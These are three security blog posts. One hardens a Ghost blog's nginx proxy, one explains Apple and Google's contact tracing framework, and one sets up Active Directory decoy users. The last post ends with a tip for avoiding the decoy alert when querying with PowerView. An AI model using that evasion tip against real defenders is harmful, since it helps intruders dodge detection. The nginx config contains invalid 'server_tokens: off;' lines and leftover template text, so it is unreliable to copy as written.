The Ghost blogging platform has built-in security [features](https://ghost.org/docs/concepts/security/) such as Automatic SSL, brute force protection on the admin login, and SQLi prevention. This is a great start, and the platform is backed by a community that takes vulnerability reporting seriously. However, I wanted to add a few a few security enhancements that others should be aware of.

As explained in a previous post, this blog is hosted on AWS with three docker containers: a Ghost image, an Nginx proxy image, and a Lets Encrypt image. I'll be modifying the Nginx proxy image to add the following security enhancements:

1. Restricting access to the Ghost admin portal to trusted IP address ranges
2. Reducing unnecessary system version disclosure in HTTP response headers
3. Preventing clickjacking with the X-Frame-Options header

### Restricting Access to the Ghost Admin Portal

By default, Ghost exposes the admin portal to everyone with blog access. In this case, the portal is located at <https://blakejarvis.com/ghost>.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8guR2qhyIbLllyDSU%2F-MQ8h8Q5OLC0wr23lJVa%2Fghost-homepage.png?alt=media\&token=225e6847-75cf-4e92-b2d0-6dde2916d7e3)

The Ghost software does not have an easy way restrict this admin portal to trusted IP address ranges, but this is easy to accomplish with nginx, which is already in my deployment. To edit the nginx files I entered the nginx-proxy docker container by running the following command which spawns an interactive (-i) TTY (-t) shell (bash) in my container (c979d3182d71). I then updated the apt repository and downloaded nano, a lightweight text editor since I need to edit configuration files.

{% code title="user\@blakejarvis" %}

```
docker exec -it c979d3182d71 bash
apt-get update && apt-get install nano
```

{% endcode %}

Nginx configuration files are located at `/etc/nginx/nginx.conf` and `/etc/nginx/conf.d/default.conf`. The `/etc/nginx/nginx.conf` file is the main configuration file but includes the files in the conf.d directory with a `include /etc/nginx/conf.d/*.conf;` statement. Below is my /etc/nginx/nginx.conf file:

{% code title="nginx.conf" %}

```
user  nginx;
worker_processes  auto;
error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;
events {
    worker_connections  1024;
}
http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
    access_log  /var/log/nginx/access.log  main;
    sendfile        on;
    #tcp_nopush     on;
    keepalive_timeout  65;
    #gzip  on;
    include /etc/nginx/conf.d/*.conf;
}
daemon off;
```

{% endcode %}

No changes are required to be made in this file, but it is important to understand this is the master config file which 'includes' the others.

The Ghost admin portal can be restricted by editing the `/etc/nginx/conf.d/default.conf` file and adding location blocks. Location blocks tell the nginx server how to respond to certain Uniform Resource Identifier (URI) requests that meet the block's specified criteria. In this case, I am interested in telling the nginx server to respond differently to everyone requesting the `/ghost/` URI, except for requests coming from trusted IP address ranges. Adding the location blocks below to the server block listening on port 443 can accomplish this (full `/etc/nginx/conf.d/default.conf` file located at bottom):

{% code title="default.conf" %}

```
location = /ghost/ { 
	if ($remote_addr != [trusted_IP_address]) {
		return 301 https://$host;
	}
	proxy_pass http://blakejarvis.com$request_uri;
}
location = /ghost/api/v3/admin/session {
	allow  [trusted_IP_address];
	deny all;
	proxy_pass http://blakejarvis.com$request_uri;
}
location /ghost/api {
	allow all;
	proxy_pass http://blakejarvis.com$request_uri;
}
```

{% endcode %}

Taking each of these blocks one by one:

1. `location = /ghost/` - An `if` statement is used to check if the requesting IP address is the trusted IP address. If it is not, it uses an HTTP 301 redirect to gracefully send the user to the site's home page. If the requesting IP address is the trusted address, the `proxy_pass` option proxies the request to the Ghost webserver.
2. `location = /ghost/api/v3/admin/session` - Blocking access to this URI prevents brute forcing of the admin portal using scripting tools or Burp Suite. When a user attempts to authenticate to the admin portal, credentials are POSTed to the `/ghost/api/v3/admin/session` URI. A savvy attacker will not need to visit the `/ghost/` page in a web browser, as they already can authenticate by submitting credentials to the form's specified URI. The image below shows this in Burp Suite. Invalid credentials result in a `401 Unauthorized` status code, which means the credentials were tried and incorrect. This occurs even when the `/ghost/` URI is blocked.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8h99kN_VWzj9BkLxZ%2F-MQ8hwizdYdrEVBELuK1%2Fghost-2.png?alt=media\&token=64898047-3106-4d73-a54f-0d25beeaf518)

When the above URI is restricted to trusted IP addresses, the status code returned is `403: Forbidden`, which prevents credentials from even being tried against the webserver.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8h99kN_VWzj9BkLxZ%2F-MQ8i9nJ101sVgxS_KXV%2Fghost-3.png?alt=media\&token=2975e31f-aeac-47fe-af55-eadaaa320f38)

3\. `location /ghost/api`- From watching the docker container logs, Ghost uses the API to serve content and peform backend functions, so this location block passes all traffic to the API through nginx and to the Ghost container, allowing Ghost to handle authentication and permissions. This would be normal behavior, as nginx does not normally handle API traffic any differently. This location block may not be required, but I wanted to ensure API requests were not affected. Notice the lack of '=', which allows the location to match on a wildcard of any URI requested after `/ghost/api`, whereas using an '=' only matches that exact URI defined.

### Reducing Unnecessary System Version Disclosure

System version disclosure can occur in  sources such as HTTP headers, server error messages, and page source code. I am interested in limiting the nginx version information and preventing direct IP access to the web server.

1. Limiting nginx version information from direct IP access - The `/etc/nginx/conf.d/default.conf` configuration file defines how the nginx server should handle requests with no server name, as is the case with direct IP access to the site, such as <http://3.84.178.124/>. The default response is a `503 Service Unavailable response`, displaying the nginx server information. I changed this to `444 Connection Closed Without Response` (see full configuration file below) to even prevent the client from seeing the nginx 503 error page. This is accomplished by replacing all instances of `503` with `444` in the `/etc/nginx/conf.d/default.conf` file. While this does not provide any real security, no letitimate users would be accessing the site over direct IP access, and internet scanners usually scan based on IP address, not domain name. A 444 response does not reveal any version information as the TCP connection is closed by nginx right after the handshake is negotiated. Chrome returns an `ERR_EMPTY_RESPONSE` message, as shown below.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8h99kN_VWzj9BkLxZ%2F-MQ8iWZQg1QwqZVMvenv%2Fghost-4.png?alt=media\&token=c8354876-17e9-46a3-bca6-afc206b4d28a)

Limiting nginx version information in HTTP headers - Showing both the major and minor version of nginx is unnecessary, and it occurs by default in nginx. In this case, the HTTP response headers show `Server: nginx/1.17.6`:

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8h99kN_VWzj9BkLxZ%2F-MQ8igvgXHjTF1xMfAsz%2Fghost-5.png?alt=media\&token=a1f8d272-3c24-44c9-ab6a-5a270fddb258)

To hide the major and minor version of nginx, add `server_tokens off;` to the `/etc/nginx/conf.d/default.conf` file within the server blocks listening on ports 80 and 443. When this change is implemented, the Server header is just nginx. Nginx could be removed from the server response header entirely, but I have no interest in hiding that nginx is used for this blog, considering the content of this article.

### Preventing Clickjacking with the X-Frame-Options Header

Clickjacking is a technique where a user clicks a web page element disguised as another element, which could lead to unintended actions being performed on behalf of the user. An example would be the blakejarvis.com website displayed inside another website, as shown below. On top of the web page could be javascript that could steal passwords or run malicious code, and the user could click on this, thinking they were interacting directly with the blakejarvis.com website.

With no prevention, I perform a clickjacking attack using a local HTML file with an iframe tag to load the blakejarvis.com web page (proof-of-concept HTML source code located [here](https://gist.github.com/bulldawgs34/db7456205765a83a6dcb36f6346ef34e)). Notice the *C:* share in the image URL bar, which is a local HTML file, not blakejarvis.com

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8h99kN_VWzj9BkLxZ%2F-MQ8j5wzzs53aR_u9JMY%2Fghost-7.png?alt=media\&token=7307cf71-0606-43e4-b5dc-c1bf352cbdcb)

Clickjacking can be prevented using the `X-Frame-Options` header, which is a response header that tells the browser how a site's content can be served. The following code was added to the server blocks hosting the site on ports 80 and 443 to prevent clickjacking (see full configuration file below):

{% code title="nginx.conf" %}

```
add_header X-Frame-Options "SAMEORIGIN";
```

{% endcode %}

`SAMEORIGIN` tells the browser that the website content of blakejarvis.com cannot be served in an iframe on a site other than blakejarvis.com. This can be verified by reloading the nginx server and refreshing the proof-of-concept page:

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8h99kN_VWzj9BkLxZ%2F-MQ8jDvWY4FYZ3CSJtey%2Fghost-8.png?alt=media\&token=9f449cbd-6cb8-4632-a118-45935ddb623e)

### Making the Configuration Changes Permanent

In testing, I manually edited the nginx configuration files within the container and used `service nginx reload` to update nginx without restarting the container. This is sufficient when running nginx on the host operating system. However, changes made in a nginx docker container would be lost on a container restart or update.

To make things a bit more complicated, the [nginx-proxy](https://github.com/nginx-proxy/nginx-proxy) image auto-generates the `/etc/nginx/conf.d/default.conf` files based on parameters fed into the [nginx.tmpl](https://blakejarvis.com/p/3a9cc8e0-057f-46ee-af38-886384f73e5f/nginx.tmpl) template file. This makes deployment a breeze, as all configurations are defined in the nginx-proxy Dockerfile which creates the `default.conf` file. To modify this file pre-image creation, I created a new nginx-proxy image by editing the `nginx.tmpl` file, and building a new image:

{% code title="default.conf" %}

```
git clone https://github.com/nginx-proxy/nginx-proxy.git
cd nginx-proxy
emacs nginx.tmpl

### File shortened for brevity; perform the following changes:
### Replace the 503 status codes with 444 on lines 151 and 162
### Add the following after "{{ $access_log }}" on lines 254 and 277:
###      add_header X-Frame-Options "SAMEORIGIN";
###      server_tokens off;

### Add the following code the nginx.tmpl starting on line 336
    location = /ghost/ {
            if ($remote_addr != [trusted_ip]) {
                    return 301 https://$host;
            }
            proxy_pass http://{{ $host }}$request_uri;
    }
    location = /ghost/api/v3/admin/session {
            allow  [trusted_ip];
            deny all;
            proxy_pass http://{{ $host }}$request_uri;
    }
    location /ghost/api {
            allow all;
            proxy_pass http://{{ $host }}$request_uri;
    }
#save the file and build a new image
docker build -t nginx-proxy-ghost:test .
```

{% endcode %}

Finally, the `docker-compose.yml` file used to deploy the ghost, nginx-proxy, and Lets Encrypt containers was updated, replacing `jwilder/nginx-proxy` with the local `nginx-proxy-ghost:test` image, and the containers were restarted with `docker-compose up`!

### Full /etc/nginx/conf.d/default.conf File

This file is rendered from the modified version of the nginx-proxy `nginx.tmpl` file.

{% code title="default.conf" %}

```
# If we receive X-Forwarded-Proto, pass it through; otherwise, pass along the
# scheme used to connect to this server
map $http_x_forwarded_proto $proxy_x_forwarded_proto {
  default $http_x_forwarded_proto;
  ''      $scheme;
}
# If we receive X-Forwarded-Port, pass it through; otherwise, pass along the
# server port the client connected to
map $http_x_forwarded_port $proxy_x_forwarded_port {
  default $http_x_forwarded_port;
  ''      $server_port;
}
# If we receive Upgrade, set Connection to "upgrade"; otherwise, delete any
# Connection header that may have been passed to this server
map $http_upgrade $proxy_connection {
  default upgrade;
  '' close;
}
# Apply fix for very long server names
server_names_hash_bucket_size 128;
# Default dhparam
ssl_dhparam /etc/nginx/dhparam/dhparam.pem;
# Set appropriate X-Forwarded-Ssl header
map $scheme $proxy_x_forwarded_ssl {
  default off;
  https on;
}
gzip_types text/plain text/css application/javascript application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;
log_format vhost '$host $remote_addr - $remote_user [$time_local] '
                 '"$request" $status $body_bytes_sent '
                 '"$http_referer" "$http_user_agent"';
access_log off;
		ssl_protocols TLSv1.2 TLSv1.3;
		ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384';
		ssl_prefer_server_ciphers off;
resolver [resolver_ip];
# HTTP 1.1 support
proxy_http_version 1.1;
proxy_buffering off;
proxy_set_header Host $http_host;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $proxy_connection;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto;
proxy_set_header X-Forwarded-Ssl $proxy_x_forwarded_ssl;
proxy_set_header X-Forwarded-Port $proxy_x_forwarded_port;
# Mitigate httpoxy attack (see README for details)
proxy_set_header Proxy "";
server {
	server_name _; # This is just an invalid value which will never trigger on a real hostname.
	listen 80;
	access_log /var/log/nginx/access.log vhost;
	return 444;
}
server {
	server_name _; # This is just an invalid value which will never trigger on a real hostname.
	listen 443 ssl http2;
	access_log /var/log/nginx/access.log vhost;
	return 444;
	ssl_session_cache shared:SSL:50m;
	ssl_session_tickets off;
	ssl_certificate /etc/nginx/certs/default.crt;
	ssl_certificate_key /etc/nginx/certs/default.key;
}
# blakejarvis.com
upstream blakejarvis.com {
				## Can be connected with "blakejarviscom_default" network
			# blakejarviscom_ghost_1
			server [docker_server];
}
server {
	server_name blakejarvis.com;
	listen 80 ;
	access_log /var/log/nginx/access.log vhost;
	add_header X-Frame-Options "SAMEORIGIN";
	server_tokens: off;
    # Do not HTTPS redirect Let'sEncrypt ACME challenge
	location /.well-known/acme-challenge/ {
		auth_basic off;
		allow all;
		root /usr/share/nginx/html;
		try_files $uri =404;
		break;
	}
	location / {
		return 301 https://$host$request_uri;
	}
}
server {
	server_name blakejarvis.com;
	listen 443 ssl http2 ;
	add_header X-Frame-Options "SAMEORIGIN";
	server_tokens: off;
    access_log /var/log/nginx/access.log vhost;
	ssl_session_timeout 5m;
	ssl_session_cache shared:SSL:50m;
	ssl_session_tickets off;
	ssl_certificate /etc/nginx/certs/blakejarvis.com.crt;
	ssl_certificate_key /etc/nginx/certs/blakejarvis.com.key;
	ssl_dhparam /etc/nginx/certs/blakejarvis.com.dhparam.pem;
	ssl_stapling on;
	ssl_stapling_verify on;
	ssl_trusted_certificate /etc/nginx/certs/blakejarvis.com.chain.pem;
	add_header Strict-Transport-Security "max-age=31536000" always;
	include /etc/nginx/vhost.d/default;
	location / {
		proxy_pass http://blakejarvis.com;
	}
	location = /ghost/ { 
		if ($remote_addr != [trusted_ip]) {
			return 301 https://$host;
		}
		proxy_pass http://blakejarvis.com$request_uri;
	}
	location = /ghost/api/v3/admin/session {
		allow  [trusted_ip];
		deny all;
		proxy_pass http://{{ $host }}$request_uri;
	}
	location /ghost/api {
		allow all;
		proxy_pass http://{{ $host }}$request_uri;
	}
}
Additional
```

{% endcode %}

### Additional Resources

1. [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) (MDN Web Docs)
2. [Nginx Location](https://nginx.org/en/docs/http/ngx_http_core_module.html#location) (Nginx.org)


# An Overview of Apple and Google's Privacy-Preserving Contact Tracing Framework

2020-04-20

In the wake of the COVID-19 pandemic, Apple and Google released a [Privacy-Preserving Contact Tracing](https://www.apple.com/covid19/contacttracing/) framework, including a Bluetooth specification, cryptography specification, and framework API. This framework aims to create a secure way of performing contact tracing at scale using mobile phones, while still adhering to privacy concerns.

For an in-depth technical evaluation of the framework, I defer to the above link. After reviewing the spec, I highlight and answer common questions non-tech people may ask, provide an overview of the proposed framework, and raise a few outstanding questions of my own.

### Common Questions about Contact Tracing

**What is Contact Tracing?**\
Contact Tracing is the process of identifying people an individual has previously come in contact with. This can be used in public health to identify an infected individual's historical exposure to other people, who may now be infected due to previous contact with a known infected person.

* **For COVID-19, How Will Contact Tracing Be Implemented?**\
  Google and Apple's proposed contact tracing framework would work on mobile phones, where a user would likely install and enable a contact tracing app.
* **How does the App Know a User Has Encountered an Individual who has Tested Positive for COVID-19?**\
  When two users who are both using a contact tracing app come within 10 feet or less from each other, their phones exchange anonymous data. This data is stored for 14 days and repeatedly checked against a contact tracing database of known COVID-19 cases. If a user tests positive for COVID-19, they update their status in the app and users who have come in contact with them can be alerted.
* **Is it Possible to Securely and Anonymously Perform Contact Tracing?**\
  Yes. Apple and Google's proposed solution does not link an individual's identity or mobile phone to contact tracing data.
* **Why Should a User Contact Trace?**\
  Contact tracing will allow users to be notified if they have come in contact with a COVID-19 positive individual.
* **What Data will be Shared?**\
  Anonymous data is shared directly with other mobile phones within 10 feet or less. If a user tests positive for COVID-19, they change their status in the app, which is uploaded to a central server. This data is all anonymous and cannot be linked to the individual or their mobile device.
* **How Much Will it Cost?**\
  While no number has been proposed, a contact tracing app would likely be free.
* **When Will a Contact Tracing App be Released?**\
  No release date has been proposed by Apple and Google.

### Privacy-Preserving Contact Tracing Framework Overview

Apple and Google's proposed framework uses Bluetooth Low Energy (BLE) beacons to broadcast a unique identifier to other people (i.e. devices) in the area. These beacons contain a Rolling Proximity Identifier unique to an individual. An individual's identity is protected by requiring these identifiers to change every 10-20 minutes, and the identifier's value is created using inputs known only to the individual.

A user stores a record of every identifier they encounter, and periodically checks a server in the cloud for Diagnosis Keys, which are keys associated with an individual diagnosed with COVID-19. Using a Diagnosis Key, a user can recreate every Rolling Proximity Identifier the COVID-19 diagnosed user has broadcasted, and check if any keys of the infected individual have been seen by the device. If the diagnosed user's identifier has been seen, that indicates previous contact with a now-diagnosed COVID-19 individual.

This process requires users to inform the system if they have been diagnosed with COVID-19. Privacy is maintained through this process by the COVID-19 diagnosis only being associated with diagnosis Diagnosis Keys, which have no link to a user's device or a user's identity.

### Outstanding Questions that Need to be Answered

* **Will a Contact-Tracing App be Mandatory to Install?**\
  If only a subset of the population performs contact tracing, the system falls apart.
* **How will the System Handle False Diagnosis Claims?**\
  What prevents a user from falsely claiming they were diagnosed with COVID-19, potentially forcing those they have come in contact with to unnecessarily quarantine? On a similar note, how does the system handle false positives from COVID-19 tests? Is there a process for reverting a diagnosis within the contact tracing framework?
* **What Should a User do With a Positive Test Notification?**\
  Will guidance be provided on how to self-quarantine based on a person's exposure?
* **Will BLE Signal Strength Be Taken into Account?**\
  Apple and Google's framework allows for metadata collection such as BLE signal strength when two nearby phones exchange data. Will this signal strength be used as an indication for how close a person came in contact with an infected individual?

It's a relief to see the two best-positioned mobile OS makers undertake a privacy-focused framework that has never been more relevant. The privacy considerations in this proposed solution are significantly different from the contact tracing that has been performed in China and South Korea, where a user's privacy has been disregarded for the moment. In Apple and Google's proposed framework, contact tracing can be done. The biggest challenge will be convincing users to use it.

### Additional Resources

* [Privacy-Preserving Contact Tracing](https://www.apple.com/covid19/contacttracing/)
* [Safe Paths: A privacy-first approach to contact tracing](https://news.mit.edu/2020/safe-paths-privacy-first-approach-contact-tracing-0410)
* [Covid Watch](https://www.covid-watch.org/about)
* [Security Now #762: Contact Tracing](https://www.grc.com/sn/sn-762.pdf)
* [A ‘travel log’ of the times in South Korea: Mapping the movements of coronavirus carriers](https://www.washingtonpost.com/world/asia_pacific/coronavirus-south-korea-tracking-apps/2020/03/13/2bed568e-5fac-11ea-ac50-18701e14e06d_story.html)

[<br>](https://blakejarvis.com/author/blake/)


# Active Directory Deception Technology

2020-04-01

### What are Honeypots and Deception Technologies?

Honeypots and Deception Technology (finally) provide an opportunity for defenders to be one step ahead of attackers.

In cybersecurity, a honeypot is a system designed to appear attractive to an adversary and lure them into attacking it. This provides responders an opportunity to study adversary tradecraft or perhaps trigger an alarm, signaling malicious activity within an environment. Similarly, deception technology is a decoy system/object that appears to be enticing to an attacker, but alerts blue teams on attacker activity. With deception technologies, the primary focus is alerting on malicious activity, whereas honeypots focus on the studying of an adversary.

Below are three variants of (many) honeypots and deception technologies, the third of which this article is dedicated to.

1. Public-Facing Systems - It is common to hear security researchers discuss attacks being seen "exploited in the wild" or "an increase in scanning activity." One of the many ways this information is collected is through public-facing systems that appear to be vulnerable. Setting up a public honeypot to monitor for scanning activity is easy to accomplish such as by using this article, [Build your own RDP Honeypot](https://medium.com/pythonic-forensics/build-your-own-rdp-honeypot-24c1687cb7e9), to monitor for BlueKeep scanning activity.
2. Documents - Enticing documents with names "passwords.docx" or "Exec. Bonuses 2019.docx" which are placed on file shares could lure both attackers and curious employees into opening them. Word macros can be leveraged to alert on the opening of these documents, which can identify an employee or rogue actor. While there is certainly a place for decoy documents, they are notorious for false positives. Thinkst Canary is one of the leaders in this space, and they allow their decoy document to be [demoed](https://www.canarytokens.org/generate).
3. Active Directory Deception Technologies - There are certain Active Directory (AD) objects that appear enticing to an attacker, such as accounts within the Domain Admins group, accounts with passwords set to never expire with passwords last set 2+ years ago, and legacy Microsoft Windows systems lacking the latest security updates. Alerts can be configured via Windows Events to alert on the abnormal querying of these objects.

#### The Need for Active Directory Deception Technology <a href="#theneedforactivedirectorydeceptiontechnology" id="theneedforactivedirectorydeceptiontechnology"></a>

Once threat actors gain an initial foothold in an environment, they will perform discovery techniques to identify how to gain further persistence and escalate privileges. AD reconnaissance is a given for both pentesters and sophisticated actors. Tools such as PowerSploit's PowerView allow for the querying of AD over Lightweight Directory Access Protocol (LDAP) which is nearly impossible to detect ( however I'm certainly open to suggestions on this), except for excellent network visibility into LDAP traffic containing privileged group names, in the case of querying for group membership.

### How to Deploy AD Deception Technology

AD deception can be implemented in a variety of ways including in Active Directory, as I recently discovered in Nikhil Mittal's blog post, [Forging Trusts for Deception in Active Directory](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html). He describes his Deploy-Deception PowerShell module which eases deploying decoy/honeypot users in AD. Deploy-Deception’s decoy objects can be used to detect tools such as PowerView by alerting on the querying of abnormal or unusual object properties, such as the *x500uniqueIdentifier* property. This property is queried via PowerView over LDAP, but not when using the Windows *net* commands (e.g. *net user...*).

While Mittal's Deploy-Deception GitHub [project](https://github.com/samratashok/Deploy-Deception) goes in more depth, I ran the following command to deploy a decoy user designed to detect the PowerView querying of *x500uniqueIdentifier:*

```
PS C:\> Import-Module C:\Deploy-Deception\Deploy-Deception.psd1
PS C:\> Create-DecoyUser -UserFirstName blake -UserLastName jarvis -Password Ppe6h2^^tNRvf | Deploy-UserDeception -UserFlag PasswordNeverExpires -GUID szY976DX-bz7w-ui3w-0i6w-7AnZ93gESzwp -Verbose
```

This command needs to be ran on a Domain Controller by an account within the Domain Admins group, as it both creates a new user and configures the Domain controller to log event ID 4661: An Operation was Performed an an Object, containing the GUID of the decoy object. This Windows Event ID will be the indicator that the *x500uniqueIdentifier* property was queried by a user.

### How to Avoid The Trap

In testing this technique I discovered that, as with any other deception technology, the trap can be avoided when taking the right precautions. In this case, a minor syntax change when querying using PowerView can avoid triggering the decoy object alert but return the same results. I began AD reconnaissance by running the following to give me a list of all domain users, their account name and when their password was last set:

```
Get-DomainUser | select samaccountname, pwdlastset
```

I let PowerView query its default properties then filtered the two properties I wanted client slide. Since PowerView's *Get-DomainUser* function requests the *x500uniqueIdentifier*, specifying the properties requested with the *-Properties* flag prevents the *x500uniqueIdentifier* property from being requested on the decoy object:

Trips decoy object:

```
PS C:\> Get-DomainUser | select samaccountname, pwdlastset
```

Does not trip decoy object:

```
PS C:\> Get-DomainUser -Properties samaccountname, pwdlastset
```

For the red teamers, these commands return the same results, but the second avoids asking a domain controller for unnecessary properties when querying for every user within a domain.

*This post is a longer form adapted version of my original post on* [*Linkedin*](https://www.linkedin.com/posts/blakejarvis_forging-trusts-for-deception-in-active-directory-activity-6621456953212227584-WWBy)*.*

### Additional Resources

1. [Deception Technology](https://www.rapid7.com/fundamentals/deception-technology/) (Rapid7)
2. [Universal Honeypot](https://github.com/MattCarothers/uhp) (GitHub Project)
3. [Honeypot Buster](https://github.com/JavelinNetworks/HoneypotBuster)  (GitHub Project)
4. [Awesome Honeypots](https://github.com/paralax/awesome-honeypots) (GitHub Project)


